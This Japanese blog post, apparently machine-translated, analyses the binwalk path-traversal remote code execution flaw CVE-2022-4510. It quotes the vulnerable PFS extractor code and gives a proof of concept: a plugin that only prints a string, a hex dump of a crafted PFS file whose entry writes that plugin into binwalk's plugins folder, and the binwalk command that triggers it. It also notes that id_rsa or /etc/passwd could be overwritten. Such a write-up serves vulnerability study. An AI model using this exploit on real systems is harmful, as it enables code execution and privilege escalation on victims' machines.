Binwalk リモート コマンド実行の脆弱性の原則と実証 CVE-2022-4510

序章

公式 cve の説明によると、バージョン 2.1.2 から 2.3.3 の binwalk にパス トラバーサルの脆弱性が見つかりました。この脆弱性により、リモート攻撃者は binwalk がインストールされている影響を受けるマシン上で任意のコードを実行することができます。

PFSファイルとは何ですか?

PFS ファイルは、画像レタッチ プログラムである PhotoFiltre Studio によって作成される選択ファイルです。これには、指定された座標間に線を描画するためにイメージ エディターのポリゴン選択ツールで使用される座標が含まれています。PFS ファイルはプレーンテキストで保存されます。

PFS ファイル形式

https://lekensteyn.nl/files/pfs/pfs.txt

ソースコードを分析する

PFS 抽出プラグインは、いくつかの変更を加えて 2017 年に binwalk にマージされました。

     def extractor(self, fname):
         fname = os.path.abspath(fname)
         out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))

         try:
             with PFS(fname) as fs:  #读取pfs文件数据
               data = open(fname, 'rb')
               data = binwalk.core.common.BlockFile(fname, 'rb')
               data.seek(fs.get_end_of_meta_data())
               for entry in fs.entries():
                   outfile_path = os.path.join(out_dir, entry.fname)
                   if not outfile_path.startswith(out_dir): 
                        binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
                    else:
                        self._create_dir_from_fname(outfile_path)
                        outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
                        outfile.write(data.read(entry.fsize))
                        outfile.close()
                 data.close()
         except KeyboardInterrupt as e:
             raise e

問題は os.path.join 関数にあります。11 行目のコードはパスを完全に解決していないため、12 行目の条件は決して true にはなりません。

ここに画像の説明を挿入

パストラバーサル PFS ファイルを作成することで、binwalk にディレクトリの外にファイルを書き込むように強制できます。

POC

ユーザーは binwalk API を使用して独自のプラグインを定義できます。プラグインを $HOME/.config/binwalk/plugins/ ディレクトリに置くだけで、binwalk の実行時にプラグインが呼び出されます。

悪質なコード:

import binwalk.core.plugin

class MaliciousExtractor(binwalk.core.plugin.Plugin):
    def init(self):
        print("baimao")

保存後winhexでファイルを開く
ここに画像の説明を挿入

次の 16 進データを直接貼り付けます

5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000

ここに画像の説明を挿入

.py を .pfs ファイルとして保存し、圧縮パッケージに追加します。

ここに画像の説明を挿入

binwalk を使用してユーザーのホーム ディレクトリからファイルを抽出すると、プラグインが .config/binwalk/plugins に追加され、この悪意のあるプラグインが binwalk によってロードされて実行され、RCE が発生します。

cd ~
binwalk -M -e exp.zip

ここに画像の説明を挿入

コードが正常に実行されました

要約する

今年 1 月 31 日に詳細を公開した cve は、./.config/binwalk/plugins/malwalk.py ファイルを上書きすることに加えて、id.rsa または /etc/passwd ファイルも上書きできることを少し学びました。権利を直接エスカレーションする

参照文書:

https://nvd.nist.gov/vuln/detail/CVE-2022-4510
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk

おすすめ

転載: blog.csdn.net/qq_45894840/article/details/128890375